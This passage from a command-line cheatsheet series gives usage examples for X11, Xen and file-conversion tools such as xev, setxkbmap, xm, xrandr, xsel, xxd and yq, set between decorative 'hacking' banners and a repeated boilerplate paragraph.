# Open file(s) in XCode, create if it doesn't exist:
xed -c ${filename}
# Open a file in XCode and jump to line number 75:
xed -l 75 ${filename}
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xed in a clear format. This allows users to quickly access the needed information for xed without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xed are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
240 - 🖥️xev
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xev command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗██╗ ██╗
# ╚██╗██╔╝██╔════╝██║ ██║
# ╚███╔╝ █████╗ ██║ ██║
# ██╔██╗ ██╔══╝ ╚██╗ ██╔╝
# ██╔╝ ██╗███████╗ ╚████╔╝
# ╚═╝ ╚═╝╚══════╝ ╚═══╝
# Show keycodes used by Xorg
xev
# This X program is useful for seeing the keycodes and symbols generated by your keyboard. Can remap using xmodmap. For instance, I've changed my caps lock key into an escape key.
# start xev and show only the relevant parts:
xev | awk -F'[ )]+' '/^KeyPress/ { a[NR+2] } NR in a { printf "%-3s %s\n", $5, $8 }'
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xev in a clear format. This allows users to quickly access the needed information for xev without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xev are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
241 - 🖥️xkb
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xkb command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██╗ ██╗██████╗
# ╚██╗██╔╝██║ ██╔╝██╔══██╗
# ╚███╔╝ █████╔╝ ██████╔╝
# ██╔██╗ ██╔═██╗ ██╔══██╗
# ██╔╝ ██╗██║ ██╗██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
# Set the keyboard layout for the current X session
setxkbmap -layout "us,ru"
setxkbmap -option "grp:caps_toggle,grp_led:scroll,compose:ralt"
# Configure compose
git clone https://github.com/kragen/xcompose/
cd xcompose
bash install
cat <<EOF >> ~/.profile
input_module=xim
export GTK_IM_MODULE=$input_module
export XMODIFIERS=@im=$input_module
export QT_IM_MODULE=$input_module
EOF
# And you probly need to start:
# ibus-daemon --xim --verbose --daemonize --replace
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xkb in a clear format. This allows users to quickly access the needed information for xkb without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xkb are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
242 - 🖥️xm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███╗ ███╗
# ╚██╗██╔╝████╗ ████║
# ╚███╔╝ ██╔████╔██║
# ██╔██╗ ██║╚██╔╝██║
# ██╔╝ ██╗██║ ╚═╝ ██║
# ╚═╝ ╚═╝╚═╝ ╚═╝
# Shows information about the Xen host
xm info
# Shows information about doms (states include r for running, b for blocked, c for crashed, p for paused and the worse, d for dying).
xm list
# Shows virtual interfaces for doms
xm network-list
# Shows information from the Xen logs
xm log
# Reboots a VM
xm reboot
# Shows dom virtual processors
xm vcpu-list
# Shows hosts and domains similar to how top works in *nix
xm top
# Shows uptime
xm uptime
# Shows the send message buffer
xm dmesg
# Create a node called ${domain_name}
xm create ${domain_name}
# Attach to the console of the ${domain_name} node
xm console ${domain_name}
# Deletes that newly created ${domain_name} node
xm destroy ${domain_name}
# Invoke an interactive shell environment of your xend
xm shell
# Turn off a VM
xm shutdown
# Rather than shut the VM down, just pause it (starts back up much faster),
# but if the host is rebooted then state is lost (otherwise use suspend)
xm pause
# Suspends a VM, which writes the data to disk, so changes wouldn't be lost on restart.
xm suspend
# Rename installed VMs
xm rename
# If a VM is paused, fire it up
xm resume
# Similar to suspend except with user definable state file
xm save
# Similar to resume except restoreable with exports that used the save verb
xm restore
# Dumps core per domain
xm dump-core
# Sends system requests per domain
xm sysrq
# Lists block devices per domain
xm block-list
# Configure the maximum memory for a domain
xm mem-max
# Configure the current memory allowance for a domain
xm mem-set
# Configure active processors for a domain
xm vcpu-set
# Move a domain to another server (e.g. using the -l operator to do so live)
xm migrate
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xm in a clear format. This allows users to quickly access the needed information for xm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
243 - 🖥️xmlto
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xmlto command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███╗ ███╗██╗ ████████╗ ██████╗
# ╚██╗██╔╝████╗ ████║██║ ╚══██╔══╝██╔═══██╗
# ╚███╔╝ ██╔████╔██║██║ ██║ ██║ ██║
# ██╔██╗ ██║╚██╔╝██║██║ ██║ ██║ ██║
# ██╔╝ ██╗██║ ╚═╝ ██║███████╗██║ ╚██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═════╝
# DocBook XML to PDF
xmlto pdf mydoc.xml
# DocBook XML to HTML
xmlto -o html-dir html mydoc.xml
# DocBook XML to single HTML file
xmlto html-nochunks mydoc.xml
# modify output with XSL override
xmlto -m ulink.xsl pdf mydoc.xml
# use non-default xsl
xmlto -x mystylesheet.xsl pdf mydoc.xml
#==============================##==============================#
# CMD XMLTO #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xmlto in a clear format. This allows users to quickly access the needed information for xmlto without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xmlto are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
244 - 🖥️xrandr
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xrandr command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██████╗ █████╗ ███╗ ██╗██████╗
# ╚██╗██╔╝██╔══██╗██╔══██╗████╗ ██║██╔══██╗
# ╚███╔╝ ██████╔╝███████║██╔██╗ ██║██║ ██║
# ██╔██╗ ██╔══██╗██╔══██║██║╚██╗██║██║ ██║
# ██╔╝ ██╗██║ ██║██║ ██║██║ ╚████║██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝
# To enable HDMI2 output with maximal resolution:
xrandr --output HDMI2 --auto
# To enable HDMI2 output with specific resolution:
xrandr --output HDMI2 --mode 1280x800
# To enable HDMI2 output next to HDMI1 output:
xrandr --output HDMI2 --auto --right-of HDMI1
# To disable HDMI2 output:
xrandr --output HDMI2 --off
# Project your desktop using xrandr - HDMI-1 is the interface in the example, which can be obtained just by typing xrandr and surfing through the output. There are a hell lot of configurations that can be done but I prefer auto because it works in most cases. Lifesaver Show Sample Output
xrandr --output < interface-name > --auto
xrandr --output DVI-I-2 --right-of DVI-I-3
# When you do not want to restart X to setup a another display and expand the desktop.
#==============================##==============================#
# CMD XRAND #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xrandr in a clear format. This allows users to quickly access the needed information for xrandr without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xrandr are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
245 - 🖥️xscreensaver
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xscreensaver command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗████████╗██████╗ ███████╗███████╗███╗ ██╗███████╗ █████╗ ██╗ ██╗███████╗██████╗
# ╚██╗██╔╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██╔════╝████╗ ██║██╔════╝██╔══██╗██║ ██║██╔════╝██╔══██╗
# ╚███╔╝ ███████╗ ██║ ██████╔╝█████╗ █████╗ ██╔██╗ ██║███████╗███████║██║ ██║█████╗ ██████╔╝
# ██╔██╗ ╚════██║ ██║ ██╔══██╗██╔══╝ ██╔══╝ ██║╚██╗██║╚════██║██╔══██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
# ██╔╝ ██╗███████║ ██║ ██║ ██║███████╗███████╗██║ ╚████║███████║██║ ██║ ╚████╔╝ ███████╗██║ ██║
# ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
# lock screen sver
xscreensaver-command -lock
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xscreensaver in a clear format. This allows users to quickly access the needed information for xscreensaver without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xscreensaver are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
246 - 🖥️xsel
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xsel command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗███████╗██╗
# ╚██╗██╔╝██╔════╝██╔════╝██║
# ╚███╔╝ ███████╗█████╗ ██║
# ██╔██╗ ╚════██║██╔══╝ ██║
# ██╔╝ ██╗███████║███████╗███████╗
# ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
# X11 selection and clipboard manipulation tool.
# Use a command's output as input of the clip[b]oard (equivalent to Ctrl + C):
echo 123 | xsel -ib
# Use the contents of a file as input of the clipboard:
cat file | xsel -ib
# Output the clipboard's contents into the terminal (equivalent to Ctrl + V):
xsel -ob
# Output the clipboard's contents into a file:
xsel -ob > file
# Clear the clipboard:
xsel -cb
# Output the X11 primary selection's contents into the terminal (equivalent to a mouse middle-click):
xsel -op
xsel | nl | grep [email protected]
# Paste a list of email addresses and number them and show the entry for a specific address.
xsel -b | sed 's/2018/2019/g' | xsel -b
# Replace all instances of 2013 with 2014 in your X windows copy buffer.
# Take the text in your select/copy buffer (Xwin or Mac) and sort it then print unique lines with a "count of duplicates" prior to the line.
{ xsel || pbpaste; } | sort | uniq -c
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xsel in a clear format. This allows users to quickly access the needed information for xsel without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xsel are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
247 - 🖥️xset
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xset command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗███████╗████████╗
# ╚██╗██╔╝██╔════╝██╔════╝╚══██╔══╝
# ╚███╔╝ ███████╗█████╗ ██║
# ██╔██╗ ╚════██║██╔══╝ ██║
# ██╔╝ ██╗███████║███████╗ ██║
# ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝
# xset - user preference utility for X
# Disable screen saver blanking
xset s off
# Change blank time to 1 hour
xset s 3600 3600
# Turn off DPMS
xset -dpms
# Disable DPMS and prevent screen from blanking
xset s off -dpms
# Turn off screen immediately
xset dpms force off
# Standby screen
xset dpms force standby
# Suspend screen
xset dpms force suspend
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xset in a clear format. This allows users to quickly access the needed information for xset without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xset are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
248 - 🖥️xsltproc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xsltproc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗██╗ ████████╗██████╗ ██████╗ ██████╗ ██████╗
# ╚██╗██╔╝██╔════╝██║ ╚══██╔══╝██╔══██╗██╔══██╗██╔═══██╗██╔════╝
# ╚███╔╝ ███████╗██║ ██║ ██████╔╝██████╔╝██║ ██║██║
# ██╔██╗ ╚════██║██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║
# ██╔╝ ██╗███████║███████╗██║ ██║ ██║ ██║╚██████╔╝╚██████╗
# ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝
# xsltproc
# Transform XML with XSLT to produce output (usually HTML or XML).
# Transform an XML file with a specific XSLT stylesheet:
xsltproc --output output.html stylesheet.xslt xmlfile.xml
# Pass a value to a parameter in the stylesheet:
xsltproc --output output.html --stringparam name value stylesheet.xslt xmlfile.xml
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xsltproc in a clear format. This allows users to quickly access the needed information for xsltproc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xsltproc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
249 - 🖥️xxd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xxd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██╗ ██╗██████╗
# ╚██╗██╔╝╚██╗██╔╝██╔══██╗
# ╚███╔╝ ╚███╔╝ ██║ ██║
# ██╔██╗ ██╔██╗ ██║ ██║
# ██╔╝ ██╗██╔╝ ██╗██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
# Convert bin/string to hex.
# Result: 34322069732074686520736f6c7574696f6e0a
echo '42 is the solution' | xxd -p
# Convert hex to bin/string.
# Result: 42 is the solution
echo '34322069732074686520736f6c7574696f6e0a' | xxd -r -p
# Make a hexdump or do the reverse with the xxd command
xxd /path/to/binary/file
# Explanation: This shows a very nice hexdump of the specified file. You can edit the output and convert it back to binary with xxd -r. But the best part is that you can configure vim to do all the converting back and forth for you, effectively turning vim into a binary editor, by adding this to your .vimrc:
# augroup Binary
# au!
# au BufReadPre *.bin let &bin=1
# au BufReadPost *.bin if &bin | %!xxd
# au BufReadPost *.bin set ft=xxd | endif
# au BufWritePre *.bin if &bin | %!xxd -r
# au BufWritePre *.bin endif
# au BufWritePost *.bin if &bin | %!xxd
# au BufWritePost *.bin set nomod | endif
# augroup END
# This will work for editing .bin files. To use it for other file extensions too, duplicate the lines within augroup and replace *.bin with *.exe for example. This tip is from vim's :help xxd.
#==============================##==============================#
# CMD XXD #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xxd in a clear format. This allows users to quickly access the needed information for xxd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xxd are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
250 - 🖥️yq
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the yq command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ ██████╗
# ╚██╗ ██╔╝██╔═══██╗
# ╚████╔╝ ██║ ██║
# ╚██╔╝ ██║▄▄ ██║
# ██║ ╚██████╔╝
# ╚═╝ ╚══▀▀═╝
# Convert JSON to YAML
# Requires installing yq (pip install yq)
yq . -y <example.json
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command yq in a clear format. This allows users to quickly access the needed information for yq without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for yq are a valuable resource to work efficiently and purposefully.
